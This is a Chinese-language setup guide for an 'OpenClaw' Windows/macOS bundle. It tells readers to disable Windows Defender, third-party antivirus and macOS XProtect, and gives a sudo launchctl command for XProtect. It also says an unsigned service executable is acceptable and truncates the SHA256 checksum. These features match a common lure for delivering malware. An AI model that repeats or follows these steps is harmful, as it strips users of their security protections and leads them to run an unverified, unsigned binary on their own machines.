OpenClaw双系统适配包45.7MB解压校验指南

OpenClaw v2.7.9双系统适配包，专为Windows与macOS双环境深度优化，体积精确为45.7MB，采用标准ZIP压缩格式，无密码。其最大优势在于：包内已集成Python 3.11、Node.js 20.x、Git 2.4.x等跨平台运行时依赖，彻底免去手动搭建底层环境的痛点。但切勿直接解压，前置准备没到位，后续排查会非常耗时。

关键注意点：解压前，务必关闭所有主动型安全软件。原因在于OpenClaw运行时会直接访问进程表、Windows注册表或macOS的TCC权限数据库，安全软件常将此视为高危行为并拦截。需关闭的具体名单：Windows Defender实时防护、火绒安全、腾讯电脑管家、360安全卫士，以及macOS上的XProtect自动扫描（可通过终端临时禁用，命令为：sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.xprotectupdater.plist）。

解压前关键准备

关闭安全软件只是基础，解压工具与路径同样关键。切记：不要使用系统内置解压工具——Windows 11自带ZIP功能容易丢失可执行权限位，macOS归档实用工具则可能剔除._*元数据文件，导致Agent启动失败。

• 推荐工具：WinRAR（v6.23+）、7-Zip（v23.01+）、macOS上使用The Unarchiver（v4.3.2+）。
• 解压方式：右键 →“解压到当前文件夹”（切勿选“解压到…”，否则会产生路径嵌套）。
• 输出目录名必须严格设置为：Openclaw-dual（全小写、无空格、无中文、无特殊字符）。

解压工具与路径规范

解压完成后，进入Openclaw-dual文件夹，先别急于运行，需完成四项硬指标校验，全部通过才算解压完整：

• 存在可执行主程序：Windows下为Openclaw Dual Launch.exe，macOS下为Openclaw-Dual-Launch.app。
• 存在config/子目录，内部必须包含gateway.yaml和agent.env两个非空配置文件。
• 存在models/目录，文件数量≥402（含预置的400余个模型及2个核心路由模型）。
• Windows上检查bin/win/中的clawsvc.exe文件属性：数字签名显示“Unsigned”，但“详细信息”页签内的“产品名称”必须为“OpenClaw Gateway Service”。

解压后校验四项硬指标

若校验项缺失，通常由以下原因导致：

• 使用了系统自带解压工具 → 卸载后安装WinRAR或7-Zip，重新解压。
• 解压路径包含中文或空格（例如“我的电脑AI工具”） → 改用纯英文路径，如D:\Openclaw-dual。
• 下载中断导致ZIP文件损坏 → 核对SHA256值：a7f3e9b2d8c1...（完整哈希值请见官网镜像页底部）。

常见校验失败原因速查

以上四个环节均确认无误后，OpenClaw双系统适配包才算真正部署就绪，可放心启动使用。